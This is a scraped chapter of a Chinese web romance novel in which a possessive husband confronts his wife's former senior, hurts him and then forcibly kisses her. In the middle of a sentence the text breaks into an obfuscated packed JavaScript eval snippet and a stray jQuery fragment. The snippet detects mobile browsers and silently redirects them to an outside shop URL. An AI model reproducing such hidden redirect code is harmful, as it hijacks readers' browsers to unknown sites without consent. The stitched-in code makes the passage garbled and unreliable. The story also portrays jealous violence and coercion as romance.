文趣网 > 都市小说 > 装傻[先婚后爱] > 47. 占有欲极强的陈怀瑾
    其实她也没想好给陈怀瑾发什么,索性收起手机。

    孔云逸丝毫不觉得过分,反而挑眉看看她。

    “别往心里去,他这人我了解,占有欲极强,是该给点教训。”

    徐悠压下眼皮,偏过头去不理会。

    话已至此,康俊泽也不好多说,跟着队伍往前挪着,终于轮到他们了。

    徐悠请了蓝色香灰琉璃手钏,小心地放进袋子里。旁边孔云逸在帮康俊泽拍照,发朋友圈。

    排队一个半小时,腿都直了。

    领了赠香跟随人群往里走,迈过门槛,她还记得工作人员叮嘱要左手上香,于是右手谨慎地捏在下方。

    她没有随着康俊泽和孔云逸到很靠前的位置,只在角落双手奉香拜了拜。

    等到两个人回来时,她已经等了好一会儿。

    “你求了什么?”

    康俊泽问她。

    徐悠摇头说没什么。

    “她能求什么,求夫妻恩爱和谐,感情和顺呗,已婚女人的通用愿望。”

    本来兴趣缺缺的徐悠看向孔云逸,笑容更深。

    “预祝你早日加入已婚行列。”

    两人脸色都沉了沉后再次笑起来,像春季浮在河面上的冰,碎裂得明显。

    谢绝了康俊泽的邀请,下午徐悠去了安平慈善基金会,直到晚上大家都走了,她才离开空荡荡的办公室,不知道该去哪儿,也不想回家。

    莫名其妙的那手钏也不见了。

    她让齐南辰不要来接自己,一个人上了辆出租车,预付了二千元车费,让司机随便开。

    原来,抛开陈怀瑾,她在这里依旧是孤身一人。

    司机哪敢收,看她一脸苦大仇深的样子,说打表计费,然后一边开车一边介绍京市,怕她有个想不开的,自己吃不了兜着走,一路絮絮叨叨的,居然比孔云逸说得详细动听。

    车在枫麓公馆停下时,司机谨慎地瞄了眼夜幕下泛着银光的玻璃幕墙,咽了咽喉咙。

    “姑娘,你都住这地方了,还有什么不开心的。别说叔叔俗,这人和车一样,都有自己的道。什么车,跑什么道,别看我乐呵呵挺开心,烦心事不比你少。当然车不会停,就像日子总得过。年纪轻轻的遇事少,等以后你就知道,没有什么事是过不去的。”

    说完,男人要把剩下的钱转回来,她摇头拒绝。

    “就当做是导游的辛苦费吧。”然后下车,朝司机挥手再见。

    出租车驶离,街对面的迈巴赫就格外显眼。

    晚风里,徐悠愣愣地看着康俊泽下车走过来,想起两人第一次见面,他也这样谦和有礼。

    “等你好久了。”

    徐悠扯扯唇角,“我以为你们没这么早结束。”

    “她计划得太详细,严重限制我的自由和想象,所以吃过晚饭我就过来等了。”

    康俊泽看出她对孔云逸的避讳,特意守在家门口。

    “现在能好好聊聊了吗?没有你……老公,也没有其他人。”

    康俊泽环顾四周,仿佛在确定这个想法。

    徐悠无奈地撇撇嘴。

    “你是我师兄,什么时候都能见面的。”

    康俊泽摇摇头,下意识地推推鼻梁上的金丝眼镜。

    “现在不一样了。悠悠,你没发现吗?”

    徐悠低下头,她当然那发现了。

    陈怀瑾的刻意针对不分时间地点,尖酸刻薄地指向康俊泽。

    “师兄,对不起。他那天有些奇怪,认识这么久,我也是第一次见到他……那样。”

    徐悠停了停,突然想到两人最初探讨合同时,陈怀瑾眼底也翻涌过相似的暗流。

    康俊泽喟叹一声。

    “悠悠,我在意的不是他,是你。你变了。”

    “我没有。”她下意识地辩解,但无力苍白。

    说这三个字时没有任何底气,擦身而过的风淹没了余下的话,似乎她也没什么可说的。

    康俊泽克制地靠近一点点,仿佛她是一只受伤的鸟,稍有惊吓就会飞走。

    “悠悠,你忘记自己的志向了吗?”

    她眼眶一热,抬眼说没有。

    “在安平慈善基金,我一样能做很多事。”

    康俊泽冷笑。

    “安平慈善基金?悠悠,你想用慈善基金推进事业,我分分钟都可以筹备起来,任命你来做理事长。可一个小小的慈善基金就把你困住了?凭着在校期间的优秀表现,你可以进港城社会福利署,你的未来……”

    他颓然地挥挥手,想描绘一幅美好愿景,但徐悠这么聪明的女孩儿,早该看到的。

    “是不是我走后发生了很多事,你有困难就说出来。我用尽一切办法帮你,哪怕你要……离开这里,我也会倾尽所有。”

    他说得越认真,徐悠的视线越模糊。

    第一次,离开学校后第一次,有人关心她的过往,在意她的未来,认真考虑她的想法。

    她多希望这些话由陈怀瑾亲口问出,现在一切都不对。

    “师兄,我必须走。爷爷和二叔替我办了休学手续。他们还说,如果我不同意回去,学校也不会容得下我,到时候就是开除,不如自己走,还有回去的可能。”

    “安安怎么没告诉我。”

    “是我不让说的,这件事张扬开对谁都不好。你只是我师兄,在学校有你照拂,可这是家事,不能给你添麻烦,反正就是合约婚姻,只要不太过分我都能接受,只要还能回去上学……”

    康俊泽声调突然高起来。

    “他不过分吗?悠悠,整整一晚上,他对你笑过吗,他有尊重你吗?”

    一向谦逊有礼的康俊泽突然发怒,徐悠更觉难堪。

    她艰难回想昨晚,每一幕都有陈怀瑾狠戾的眼神和暴虐的撕扯,不由得打个激灵。

    “他说过等我身体好了就回去上学,他和别人不一样,对我很好,虽然是合约婚姻,但作为丈夫很称职。”

    徐悠不断重复着,仿佛为了反驳康俊泽,也为了和头脑中那个面目全非的陈怀瑾对抗,只有不断重复,才能安心。

    月光渗透乌云,照不清男人的脸,康俊泽冷笑,嘴角勾着奇怪的弧度。

    “称职?”

    “悠悠,你生来就该众星捧月,万众瞩目,何必在乎一个所谓的称职的丈夫,多少男生追着你,舍得为你付出一切……”

    徐悠苦笑着摇摇头,“师兄,这都不是我要的,我……”

    她该如何表达,才能让康俊泽明白。

    她信任陈怀瑾,喜欢陈怀瑾,所以才被伤了。

    可经历过昨天种种,她被视作男人的附属,联姻的棋子,懦弱无能却不思进取。

    完全颠覆以往她给康俊泽留下的印象,就像一朵春风吹

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17755904|207277||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不开的花,爱情让她固执蠢笨到极点。

    她轻叹了一声,再也无力辩驳。

    “多少男生我不知道,但有一个追过了江……”

    她猛地抬头,

    从金丝眼镜的反光里看清陈怀瑾阴沉的脸。

    不知什么时候,他已经出现在身后。

    徐悠不敢置信地缓缓转身。他就站在不过五米开外的位置,应该什么都听清了。

    她想解释,面对陈怀瑾,她突然有了解释的勇气。可男人每一步都像一把刀,插在心头。

    直到陈怀瑾走到身侧,她还是什么都没说。

    陈怀瑾睥睨着康俊泽,眉毛压着瞳仁,清澈的目光里翻腾着漆黑暗涌。

    “不远万里来到京市,看来是念念不忘。”

    陈怀瑾与徐悠并肩,这是今天以来两人最近的距离,却莫名的疏远。

    “南山文库出版传媒有限公司CEO,短短两年,作到上市公司,孔云逸请你来是取经,还有别的意图吗?比如……把我老婆带走。”

    徐悠不想再争执下去,扯了扯他袖子,轻声道,“我们回去说。”

    “三个人的事,怎么回去说。”陈怀瑾冷撇了徐悠一眼。

    这一眼,比昨晚更可怕。

    陈怀瑾推开她,挺着胸脯迎上康俊泽。

    “我和徐悠是多年好友,坦坦荡荡,不需要你来置喙。”

    “坦荡?是谁左顾右盼,偷偷摸摸在我家门口和我老婆约会?”

    “这就算约会?你心眼未免也太小了。”

    “这一点我不否认。但你也没安好心。”

    ……

    一个上司公司CEO,一个药业巨头未来董事长,两人在枫麓公馆门前吵吵嚷嚷。

    陈怀瑾揪住康俊泽衣领,马上就要把人拎起来。

    康俊泽显然不是对手,整个人中心往上,只能死命攥着陈怀瑾手腕儿。

    双方角力中,陈怀瑾一推,反握住康俊泽,眼里像燃了火。

    她拽陈怀瑾,根本拉不动,男人像雕塑一样被定在原地。

    她推康俊泽,却被陈怀瑾拉回来,“你要跟他走。”

    康俊泽额头已经冒汗,伸手拉她……

    没有任何间隙,一声哀嚎划破夜幕。

    徐悠几乎下意识地搂住陈怀瑾。

    她察觉到男人不对,浑身散发着压迫与威慑,像换了个人。

    厉锦城和孟庆余就是被这样的陈怀瑾制服的?

    来不及细想,不能让事情再恶化下去。她埋在陈怀瑾胸口,呼唤他最后的理智。

    她叫他名字,让他看自己。

    慢慢的,火热的胸膛逐渐平息,一只手重重捏住肩膀,她听见胸膛美妙的回音,“回家。”

    被陈怀瑾拽回家前,徐悠最后看了一眼康俊泽。

    一贯傲气清高的师兄疼得摘掉眼镜,弯腰捂着胳膊,她心头涌上自责与愧疚。

    电梯里,给孔云逸发了条微信,求她帮忙照顾一下,陈怀瑾抢过手机,见消息是发给孔云逸的,又冷冰冰地塞回给她。

    玄关到客厅的暖灯次第亮起。回想第一次她被带到这里时欢呼雀跃,而现在,她被压着吻。

    与其说是吻,不如说陈怀瑾要吃了她。

    她被迫迎着,泪水漫过面颊,满溢到男人脸上,纠缠的撕咬一滞,陈怀瑾才如梦初醒地停下……